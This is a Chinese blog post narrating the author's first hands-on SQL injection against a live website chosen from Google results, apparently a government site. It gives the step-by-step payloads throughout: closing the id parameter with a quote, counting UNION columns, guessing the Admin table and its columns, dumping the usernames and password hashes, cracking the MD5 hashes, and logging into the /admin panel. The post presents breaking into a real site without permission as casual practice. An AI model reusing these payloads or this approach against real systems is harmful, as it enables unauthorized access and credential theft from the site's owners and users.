记sql注入第一次实战

0x00. 光看书想睡觉,所以打算还是找个实际的环境来练练手。

0x01. 寻找目标:去wooyun看了666个政府网站的注入点,所以很受启发,随便用一个点google一下,再在结果中随便找了一个

0x02. 确认是否存在SQL注入漏洞:参数本身是id=7,乍一看是数值参数,直接?id=7 and 1=2页面正常返回,猜测参数被单引号包围,尝试用单引号去闭合?id=7' and 1=2--%20,查询后页面部分空白没有返回,说明查询结果为空,成功注射sql语句,存在漏洞

0x03. 猜字段数:?id=7' union select 1--%20、?id=7' union select 1,2--%20、?id=7' union select 1,2,3--%20 ... 依次增加一个字段直到能正常union在一起,页面上反应出来就是能够正常显示,获得了该get请求后台select的字段数

0x04. 猜管理员的表名:猜测叫Admin,?id=7' and (select count(*) from Admin)>0--%20,页面正常返回

0x05. 猜Admin表的字段名:猜测用户名为username,?id=7' and (select count(username) from Admin)>0--%20,页面正常返回;猜测密码为password,?id=7' and (select count(password) from Admin)>0--%20,页面正常返回

0x06. 输出管理员账号和密码:通过反复查询打乱结果集数据不难发现,后端应该是拿查询结果返回的第一条记录第二个字段的值作为数据组装成html,加载到页面的某一固定区域中(DIV),于是构造查询,?id=' union select 1,count(*) from Admin--%20,获得Admin中的用户条数为2,再构造查询,?id=' union select 1,username from Admin--%20 和 ?id=' union select 1,username from Admin limit 1,1--%20获得第一个账户名和第二个账户名,最后构造查询?id=' union select 1,password from Admin--%20 和 ?id=' union select 1,password from Admin limit 1,1--%20获得第一个密码和第二个密码,我实验发现,这里按自然排序分别查username和password,是能对应上的,也就是说第一个username就对应第一个密码,以此类推

0x07. 破解密码密文:目测为md5加密,随便搜个在线md5破解,成功破解

0x08. 找寻网站后台:这里我又是猜的/admin,成功找到,输入账号和密码成功登陆

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值